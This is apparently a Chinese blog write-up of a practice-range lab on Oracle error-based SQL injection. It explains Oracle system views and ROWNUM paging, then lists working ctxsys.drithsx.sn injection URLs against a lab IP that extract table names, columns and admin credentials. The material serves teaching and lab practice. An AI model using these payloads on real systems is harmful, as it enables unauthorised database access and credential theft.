[zkaq靶场]SQL注入--Oracle报错注入

SQL注入–Oracle报错注入

SQL注入回顾:网络安全笔记-99-渗透-SQL注入

Oracle中用户的概念相当于库的概念。

select * from all_tables:查询所有的表

select * from user_tables:查询当前用户的所有表

select * from all_tab_columns查询所有的字段

select * from user_tab_columns:查询当前用户的所有表

select * from v$version:查询版本

意外插入:SQL语句的执行顺序:

​ 5.SELECT [DISTINCT] 分组字段[别名]…统计函数…;

​ 1.FROM

​ 2.WHERE [不可以使用统计函数]

​ 3.GROUP BY 分组字段

​ 4.HAVING 分组后的过滤条件 [可以使用统计函数]

​ 6.ORDER BY 排序字段 ASC|DESC

伪列:

ROWNUM(行号):SELECT ROWNUM,ENAME,EMPNO,JOB FROM EMP;自动编号是动态生成的,不是固定的。

在Oracle中,ROWNUM 可以做以下两件事:

​ 1.取出第一行记录:SELECT * FROM EMP WHERE ROWNUM = 1;(只有第一行能用)

​ 2.取出前N行记录:SELECT ROWNUM,EMPNO,ENAME,JOB FROM EMP WHERE ROWNUM<=10;

取出6~10条记录:(分页操作)

SELECT * FROM(SELECT ROWNUM RN,EMPNO,ENAME,JOB

​ FROM EMP

​ WHERE ROWNUM <=10) TEMP //(currentPage*lineSize)(currentPage=2)当前显示的页数,取出五行记录相当于每页显示的条数(lineSize=5)

WHERE TEMP.RN >5; //(currentPage-1)*lineSize

不等于:

and 字段名<>字段值 (一个条件,查询时排除符合条件的数据 当字段名中字段值符合数据就排除符合这个条件的数据)

eg: and TABLE_NAME<>‘DUAL’

查询时符合table_name字段中值为DUAL的整条数据都会被排除

报错

CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))

去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)

and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))–

:查询数据库版本

为什么需要1=?

因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件。

select table_name from user_tables where rownum=1 查询表名

select column_name from user_tab_columns where table_name=‘ADMIN’ and rownum=1 查询字段名

select column_name from user_tab_columns where table_name=‘ADMIN’ and column_name<>‘ID’ and rownum=1 – 查第二个字段

靶场

查表名:

  • http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1))

image-20210315233436772

  • http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables where table_name <>‘ADMIN’ and rownum=1))

image-20210315233838643

  • http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum rn,table_name from user_tables where rownum<5) where rn=3))

image-20210315235924702

select table_name from (select rownum rn,table_name from user_tables where rownum<3) where rn=2

查字段:

  • http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum rn,column_name from user_tab_columns where table_name=‘ADMIN’ and rownum<5) where rn=1))

image-20210316000410146

image-20210316000432052

查数据:

http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(1,(select res from (select rownum rn,concat(uname,upass) res from admin where rownum<5) where rn=2))

image-20210316001649496

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值